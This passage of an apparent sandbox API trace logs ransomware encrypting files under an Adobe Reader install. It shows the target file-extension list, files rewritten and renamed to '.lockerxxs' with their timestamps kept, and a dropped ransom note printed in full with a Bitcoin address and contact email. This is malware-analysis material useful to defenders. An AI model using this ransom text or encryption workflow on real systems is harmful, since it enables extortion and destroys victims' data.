(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.pfx") returned 0 [0070.306] lstrlenA (lpString="*.pfx") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.pem") returned 0 [0070.306] lstrlenA (lpString="*.pem") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.p12") returned 0 [0070.306] lstrlenA (lpString="*.p12") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.gpg") returned 0 [0070.306] lstrlenA (lpString="*.gpg") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.vsd") returned 0 [0070.306] lstrlenA (lpString="*.vsd") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.odg") returned 0 [0070.306] lstrlenA (lpString="*.odg") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.raw") returned 0 [0070.306] lstrlenA (lpString="*.raw") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.nef") returned 0 [0070.306] lstrlenA (lpString="*.nef") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.svg") returned 0 [0070.306] lstrlenA (lpString="*.svg") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.psd") returned 0 [0070.306] lstrlenA (lpString="*.psd") returned 5 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.vmx") returned 0 [0070.307] lstrlenA (lpString="*.vmx") returned 5 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.307] lstrlenA (lpString="*.vmdk") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.vdi") returned 0 [0070.307] lstrlenA (lpString="*.vdi") returned 5 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.lay6") returned 0 [0070.307] lstrlenA (lpString="*.lay6") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.307] lstrlenA (lpString="*.mpeg") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.djvu") returned 0 [0070.307] lstrlenA (lpString="*.djvu") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.tiff") returned 0 [0070.307] lstrlenA (lpString="*.tiff") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.backup") returned 0 [0070.307] lstrlenA (lpString="*.backup") returned 8 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.pdf") returned 0 [0070.307] lstrlenA (lpString="*.pdf") returned 5 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.cert") returned 0 [0070.307] lstrlenA (lpString="*.cert") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.docm") returned 0 [0070.307] lstrlenA (lpString="*.docm") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.307] lstrlenA (lpString="*.xlsm") returned 6 [0070.307] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.dwg") returned 0 [0070.308] lstrlenA (lpString="*.dwg") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.nd") returned 0 [0070.308] lstrlenA (lpString="*.nd") returned 4 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.tlg") returned 0 [0070.308] lstrlenA (lpString="*.tlg") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.lgb") returned 0 [0070.308] lstrlenA (lpString="*.lgb") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mov") returned 0 [0070.308] lstrlenA (lpString="*.mov") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.xdw") returned 0 [0070.308] lstrlenA (lpString="*.xdw") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.ods") returned 0 [0070.308] lstrlenA (lpString="*.ods") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.wav") returned 0 [0070.308] lstrlenA (lpString="*.wav") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mp3") returned 0 [0070.308] lstrlenA (lpString="*.mp3") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.aiff") returned 0 [0070.308] lstrlenA (lpString="*.aiff") returned 6 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.flac") returned 0 [0070.308] lstrlenA (lpString="*.flac") returned 6 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.m4a") returned 0 [0070.308] lstrlenA (lpString="*.m4a") returned 5 [0070.308] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.csv") returned 0 [0070.308] lstrlenA (lpString="*.csv") returned 5 [0070.308] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.308] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.309] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.309] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.309] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.309] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini") returned="eula.ini" [0070.309] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" [0070.309] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="" [0070.309] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt" [0070.309] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\how to decrypt files.txt")) returned 0x20 [0070.309] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.ems") returned 0 [0070.309] lstrlenA (lpString="*.ems") returned 5 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.db") returned 0 [0070.309] lstrlenA (lpString="*.db") returned 4 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.dbf") returned 0 [0070.309] lstrlenA (lpString="*.dbf") returned 5 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.myox") returned 0 [0070.309] lstrlenA (lpString="*.myox") returned 6 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.myo") returned 0 [0070.309] lstrlenA (lpString="*.myo") returned 5 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qbw") returned 0 [0070.309] lstrlenA (lpString="*.qbw") returned 5 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qbb") returned 0 [0070.309] lstrlenA (lpString="*.qbb") returned 5 [0070.309] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qbm") returned 0 [0070.310] lstrlenA (lpString="*.qbm") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qbo") returned 0 [0070.310] lstrlenA (lpString="*.qbo") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qbx") returned 0 [0070.310] lstrlenA (lpString="*.qbx") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qba") returned 0 [0070.310] lstrlenA (lpString="*.qba") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qby") returned 0 [0070.310] lstrlenA (lpString="*.qby") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qbj") returned 0 [0070.310] lstrlenA (lpString="*.qbj") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.ofx") returned 0 [0070.310] lstrlenA (lpString="*.ofx") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.qif") returned 0 [0070.310] lstrlenA (lpString="*.qif") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.mye") returned 0 [0070.310] lstrlenA (lpString="*.mye") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.mbox") returned 0 [0070.310] lstrlenA (lpString="*.mbox") returned 6 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.eml") returned 0 [0070.310] lstrlenA (lpString="*.eml") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.pst") returned 0 [0070.310] lstrlenA (lpString="*.pst") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.ost") returned 0 [0070.310] lstrlenA (lpString="*.ost") returned 5 [0070.310] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.idx") returned 0 [0070.310] lstrlenA (lpString="*.idx") returned 5 [0070.311] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.dbx") returned 0 [0070.311] lstrlenA (lpString="*.dbx") returned 5 [0070.311] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.sql") returned 0 [0070.311] lstrlenA (lpString="*.sql") returned 5 [0070.311] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", pszSpec="*.mdb") returned 0 [0070.311] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" [0070.311] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" [0070.311] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html." [0070.311] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.lockerxxs" [0070.311] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.312] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc8bf [0070.312] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81d81e80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0070.312] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.312] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc899, lpOverlapped=0x0) returned 1 [0070.315] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html") returned="license.html" [0070.315] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.315] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc899, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc899, lpOverlapped=0x0) returned 1 [0070.315] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.315] CloseHandle (hObject=0x94) returned 1 [0070.320] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html.lockerxxs")) returned 1 [0070.321] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.321] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.322] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="TUR", cAlternateFileName="")) returned 1 [0070.322] lstrcmpA (lpString1=".", lpString2="TUR") returned -1 [0070.322] lstrcmpA (lpString1="..", lpString2="TUR") returned -1 [0070.322] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.322] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="TUR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" [0070.322] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.323] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.323] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.323] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.323] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.323] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.323] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.323] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.323] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.323] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.323] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*.*") returned="*.*" [0070.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" [0070.324] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="" [0070.324] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt" [0070.324] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\how to decrypt files.txt")) returned 0xffffffff [0070.324] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.324] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.324] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.325] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.325] CloseHandle (hObject=0x94) returned 1 [0070.326] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini" [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.ems") returned 0 [0070.326] lstrlenA (lpString="*.ems") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.db") returned 0 [0070.326] lstrlenA (lpString="*.db") returned 4 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.dbf") returned 0 [0070.326] lstrlenA (lpString="*.dbf") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.myox") returned 0 [0070.326] lstrlenA (lpString="*.myox") returned 6 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 